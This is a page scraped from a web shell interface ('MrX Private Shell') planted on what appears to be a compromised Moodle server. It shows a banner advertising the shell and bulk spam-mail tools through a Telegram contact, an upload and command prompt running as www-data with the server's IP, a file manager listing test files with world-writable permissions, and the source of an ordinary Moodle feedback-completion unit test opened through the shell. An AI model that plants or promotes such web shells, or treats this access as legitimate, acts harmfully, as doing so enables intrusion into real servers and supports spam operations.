__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_feedback;

use mod_feedback_completion;

defined('MOODLE_INTERNAL') || die();
global $CFG;
require_once($CFG->dirroot . '/mod/feedback/classes/completion.php');

/**
 * Unit tests for (some of) mod/feedback/classes/completion.php.
 *
 * @package    mod_feedback
 * @copyright  2019 Tobias Reischmann
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class completion_test extends \advanced_testcase {
    /**
     * Returns the number of pages with visible elements for the current state of the feedback completion.
     * @param mod_feedback_completion $completion
     * @return int number of pages with at least one visible item.
     */
    private function get_number_of_visible_pages(mod_feedback_completion $completion) {
        $pages = $completion->get_pages();
        $result = 0;
        foreach ($pages as $items) {
            if (count($items) > 0) {
                $result++;
            }
        }
        return $result;
    }

    /**
     * Tests get_pages for transitive dependencies.
     * @throws coding_exception
     */
    public function test_get_pages(): void {
        $this->resetAfterTest();
        $this->setAdminUser();

        // Setup test data.
        $course = $this->getDataGenerator()->create_course();
        $feedback = $this->getDataGenerator()->create_module('feedback',
            array('course' => $course->id));
        $cm = get_coursemodule_from_instance('feedback', $feedback->id);

        $feedbackgenerator = $this->getDataGenerator()->get_plugin_generator('mod_feedback');
        $itemscreated = [];

        // Create at least one page.
        $itemscreated[] = $feedbackgenerator->create_item_multichoice($feedback,
            $record = ['values' => "y\nn"]);
        $itemscreated[] = $feedbackgenerator->create_item_pagebreak($feedback);
        $itemscreated[] = $feedbackgenerator->create_item_multichoice($feedback,
            $record = ['values' => "y\nn", 'dependitem' => $itemscreated[0]->id, 'dependvalue' => 'n']);
        $itemscreated[] = $feedbackgenerator->create_item_pagebreak($feedback);
        $itemscreated[] = $feedbackgenerator->create_item_multichoice($feedback,
            $record = ['values' => "y\nn", 'dependitem' => $itemscreated[0]->id, 'dependvalue' => 'y']);
        $itemscreated[] = $feedbackgenerator->create_item_pagebreak($feedback);
        $itemscreated[] = $feedbackgenerator->create_item_multichoice($feedback,
            $record = ['values' => "y\nn", 'dependitem' => $itemscreated[2]->id, 'dependvalue' => 'y']);

        // Test hiding item since transitive dependency is not met.
        // Answering the first multichoice with 'y', should hide the second and therefor also the fourth.
        $user1 = $this->getDataGenerator()->create_and_enrol($course);
        $completion = new mod_feedback_completion($feedback, $cm, $course,
            false, null, $user1->id);

        // Initially, all pages should be visible.
        $this->assertEquals(4, $this->get_number_of_visible_pages($completion));

        // Answer the first multichoice with 'y', which should exclude the second and the fourth.
        $answers = ['multichoice_' . $itemscreated[0]->id => [1]];
        $completion->save_response_tmp((object) $answers);

        $this->assertEquals(2, $this->get_number_of_visible_pages($completion));

        // Answer the third multichoice with 'n', which should exclude the last one.
        $answers = ['multichoice_' . $itemscreated[4]->id => [2]];
        $completion->save_response_tmp((object) $answers);

        $this->assertEquals(2, $this->get_number_of_visible_pages($completion));

        $completion->save_response();

        // Test showing item since transitive dependency is met.
        // Answering the first multichoice with 'n' should hide the third multichoice.
        $user2 = $this->getDataGenerator()->create_and_enrol($course);
        $completion2 = new mod_feedback_completion($feedback, $cm, $course,
            false, null, $user2->id);

        // Initially, all pages should be visible.
        $this->assertEquals(4, $this->get_number_of_visible_pages($completion2));

        // Answer the first multichoice with 'n' should hide the third multichoice.
        $answers = ['multichoice_' . $itemscreated[0]->id => [2]];
        $completion2->save_response_tmp((object) $answers);

        $this->assertEquals(3, $this->get_number_of_visible_pages($completion2));

        // Answering the second multichoice with 'n' should hide the fourth one.
        $answers = ['multichoice_' . $itemscreated[2]->id => [2]];
        $completion2->save_response_tmp((object) $answers);

        $this->assertEquals(2, $this->get_number_of_visible_pages($completion2));
    }

}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
event Folder 0777
external Folder 0777
fixtures Folder 0777
form Folder 0777
generator Folder 0777
privacy Folder 0777
access_test.php File 10.27 KB 0777
completion_test.php File 5.33 KB 0777
custom_completion_test.php File 7.05 KB 0777
dates_test.php File 4.18 KB 0777
generator_test.php File 10.87 KB 0777
item_test.php File 2.86 KB 0777
lib_test.php File 47.61 KB 0777
Filemanager